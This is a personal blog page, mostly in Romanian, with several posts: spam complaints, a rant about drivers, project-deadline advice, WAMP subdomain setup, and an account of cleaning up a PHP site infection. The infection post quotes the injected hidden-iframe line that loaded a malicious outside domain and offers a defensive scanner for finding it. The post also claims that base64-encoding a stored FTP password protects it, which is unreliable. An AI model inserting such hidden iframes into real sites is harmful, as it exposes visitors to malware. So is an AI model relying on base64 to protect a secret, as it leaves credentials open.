Windows Live Writer

De azi am început şi eu să testez Windows Live Writer. Să vedem dacă mă pot obişnui cu el şi poate o să-l folosesc mai des. Acum caut unde pot să adaug tag-uri la un post…

LE 1: I found it… hooray!

LE 2: Are cineva idee de ce apar caracterele < şi > din codul html al postului? Nu de alta, dar în loc de  <p>Text</p>, pe blog apare pText/p

Cum să luptăm cu spammeri

Acum câţiva ani mă loveam serios de problema spam-ului.  Pe lângă celebrele spam-uri cu pastile de lungire a membrului, pastile minune, loterii şi alte bălării am început să primesc chestii de la diverşi oameni care îşi promovau site-urile şi / sau serviciile pe care le ofereau.

Partea cea mai nasolă, e că spamerii erau undeva de prin cercul de prieteni al prietenilor mei. Am observat asta, deoarece trimiteau emailuri la aceleaşi adrese pe care le observam de câte ori primeam chestii funny pe mail (nu apăruse încă YouTubeu-ul). Era incredibil de enervant să primesc câte un mail din ăsta pe zi, de la diverşi nesimiţiţi care îşi promovau serviciile de rahat folosind listele de adrese găsite în mailurile funny.

De atunci am început să trimit mailuri tuturor celor care aveau obiceiul să trimită mailuri funny şi care obişnuiau să lase tot cârnatul ăla de adrese de la care a fost forwardat emailul şi care treceau toate adresele prietenilor la câmpul TO din email, astfel încât erau vizibile pentru toţi. Am scris destul de multe mail-uri tutorial despre cum să trimiţi mailuri la mai multă lume, folosind câmpul BCC şi amintindu-le să şteargă adresele celor care au primit mailul înainte.

Puţini au fost cei care au înţeles ce trebuie să facă. Majoritatea au preferat să nu [ îmi ] mai trimită. O  altă parte din ei au continuat în acelaşi stil, ca şi cum nimic nu s-a întâmplat.

Tot atunci am început să ma cert prin email-uri cu cei care îmi trimiteau spam-uri. Majoritatea erau atât de dobitoci încât nu vedeau nimic rău în asta. Turbam de nervi ştiind că nu le pot face nimic (legal), mai ales că le ştiam numele complet, numerele de telefon şi uneori chiar adresa. Pe vremea aia nu ştiam că există legi şi nu ştiam că se şi aplică.

Zilele trecute am găsit o chestie interesantă în acesta privinţă. O scrisoare numai bună de trimis celor care trimit spam şi o altă scrisoare relativ asemănătoare.

Boului cu Dacia

TM-xx-RFF, tin sa te anunt ca am avut si eu Dacia 1300, si cand o aveam nu mergeam ca tine. Stiam ca nu am frane, si de aia pastram cel putin 30 de m fata de cel din fata cand mergeam in coloana. E o chestie, zic eu, destul de logica. Asa ca data viitoare cand mai vii cu familia ta de obezi, si mai veniti si toti 4, aveti grija sa mergeti incet si sa pastrati distanta, nu de alta, dar cu toate neamurile tale, masina aia are sanse sa se opreasca egale cu sansele mele de a castiga la loto.

Si daca ai avut noroc sa te opresti, sa nu cumva sa vii sa-mi spui sa am grija cum opresc, ca daca iti ridicai putin falcile poate iti dadeai seama ca nu eu sunt handicapatul care pune frana in mijlocul coloanei, si ca fapt divers, si mie mi-a intrat ABS-ul la faza aia.

Apoi, doi la mana, cand te claxonez, nu inseamna ca iti dau voie sa schimbi banda si sa te bagi in fata mea. Cand te claxonezi inseamna ca te invit sa stai, alaturi de doamna mata, si sa ma astepti sa trec, apoi te bagi tu.

Si boului cu masina argintie, degeaba claxonezi, ca de pe banda 2 nu te lasa nimeni sa faci la dreapta, chiar daca eu mergeam in fata, nu eu ti-am blocat trecerea, si handicapatul cu Golf-ul care a uitat sa mai plece…

Deja nu ma mai mir ca se bat astia in trafic atat de des in Timisoara. Oare ce ar fi sa-mi iau si eu un antifurt de volan in forma de bata de basebal 😕

Nişte chestii simple legate de bun simţ

Când te bagi la un proiect (cu deadline), alege un proiect într-un domeniu în care te pricepi. Dacă vrei totuşi să încerci ceva nou pentru tine, apucă-te din timp.

Când faci pentru prima oară un lucru, îţi ia de cel puţin 2-3 ori mai mult timp decât îţi va lua a doua oară. Cu timpul vei face acelaşi lucru mult mai repede, dar asta numai după ce capeţi experienţă.

Aşa că la planificarea timpului, trebuie să calculezi şi timpul pierdut în plus pentru a te familiariza cu domeniul respectiv, nicidecum nu te apuci cu o saptămână înainte de deadline, când nici un individ cu experienţă nu ar mai avea suficient timp la dispoziţie să termine, nici măcar ceva de calitate mediocră.

Dacă totuşi nu respecţi ce am zis mai devreme, pot să trag concluzia că te crezi ninja şi poţi să faci chestii neobişnuite pentru oamenii de rând, dar atunci de ce strezi pe alţii cu întrebări elementare din domeniul în care te-ai băgat fără să gândeşti şi fără să ştii măcar chestiile elementare?

Când până la urmă o să reuşiţi să realizaţi un căcat proiect care nu reprezintă nici măcar un sfert din ceea ce promiteaţi la început (când vă bateaţi cu pumnul în piept că sunteţi cei mai buni şi puteţi face şi aia si aia), să nu vă aşteptaţi ca toţi să vă laude. În schimb puteţi să vă plângeţi că cei care vă critică sunt doar nişte rataţi. Să facă ei proiectul dacă sunt aşa tari!

De acum încolo o să vă las să va descurcaţi singuri, ninjălăilor!

How to search in files on ftp (remove php infections)

The infection

Recently, my site was infected with some kind of a php virus. My ftp account was broken (brute-force I suppose) so every php file that contains “index” and “main” in filename was modified, and the following line of code was added:

echo “<iframe src=\”http://some-stupid-domain.com/?some-parameter=xx1B10xx\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

So, the effects of this are:

  • some scripts refuse to work (phpmyadmin, phpbb forum login, etc), mostly every script that uses header() function from php
  • I was temporary blacklisted in Google
  • my users were expose to the risk of being infected with malware
  • I got nervous (and I’m usually very calm)
  • I discovered that my hosting company sucks (I cannot upload files with multiple connections because I get block listed by their firewall, but my password can be stolen using brute-force attack, and when this happens is supposed to be only my problem)

The solution

I needed a script to find what file contains malicious code, so I made a php script, that connect through ftp, search and every file and every directory for php files (I’ve tried to find a software for this, but with no results). When a php file is found on ftp, it downloads it, and search if malicious code is found.

Also, when a file is detected as “infected”, the script makes a copy of that file in backup folder, so webmaster can manually check and delete unwanted code. I prefer manually disinfection, because various versions of code was found (a was having links to different domains).

Features:

I know that ftp connection is not something that you can rely on, and the connection will broke after some time. So, the scripts should make some loops to retry every failed command few times before exits. This solution requires more lines of code and the complexity of the algorithm will increase.

To fix this issue, I added a list with already parse files and directories (parsed.txt). When the script find a directory or a file that’s on that list, it ignores it (since is already parsed). This way, you can forcelly stop the script whenever you want and resume it anytime.

Also, a list with infected files will be created (if any infected file is found).

Configuration

Before you can run the script you need to be sure that you modify the ftp server info (server adress, login username and password).

To do this, you need to open find_in_files_on_ftp.php with your favorite code editor (avoid Notepad, please). The lines you need to edit are shown below:

// Configuration
$ftp_server = ‘your_ftp_server’;
$ftp_user = ‘your_ftp_username’;
$ftp_pass = base64_decode(‘password encoded as base64’);
$virus_string = ‘echo “<iframe’; // string to found

I hope that is very clear what every variable means, so I will not discus about them excepting the password. I chose base64 encode for my password, so if someone see it, he can’t remeber it even if it’s common word.

Also, if you want to change the connecting port (default it’s 21), you can manually edit line 19, and replace 21 with you desired port.

Running the script

The script was made and tested on Windows XP, but it should work on every OS that supports PHP. I will test it on linux when I will have some free time.

To run the script on windows you should have php instaled and follow one of the following procedures:

  • Add php/bin folder to PATH variable enviroment, so you can easly run php with “php” command and run find_in_files_on_ftp.bat
  • Right click on find_in_files_on_ftp.php file, and chose Open with and Browse to php.exe

Download

Click on the link bellow to download ( ~2.47kbytes):

find_in_files_on_ftp.zip

Add subdomains to WAMP

Situation:

WAMP installation on Windows XP SP 3 on C:\wamp\
Dynamic DNS account at www.dyndns.com ( I will use domain.dyndns.org ).

Solution:

1. Open c:\wamp\bin\apache\apache2.2.8\conf\httpd.conf

2. Find line: ServerName localhost

3. Replace with line: ServerName domain.dyndns.org (Or you can comment it, it will work, but you will get a warning in apache log)

3. Scroll down to the end of the file and add:

NameVirtualHost *:80

#default root

<VirtualHost *:80>
DocumentRoot “C:/wamp/www”
ServerName *.domain.dyndns.org
ServerAlias localhost
</VirtualHost>

#subdomain

<VirtualHost *:80>
DocumentRoot “C:/wamp/www/subdomain”
ServerName todo.domain.dyndns.org
ServerName todo.myweb
</VirtualHost>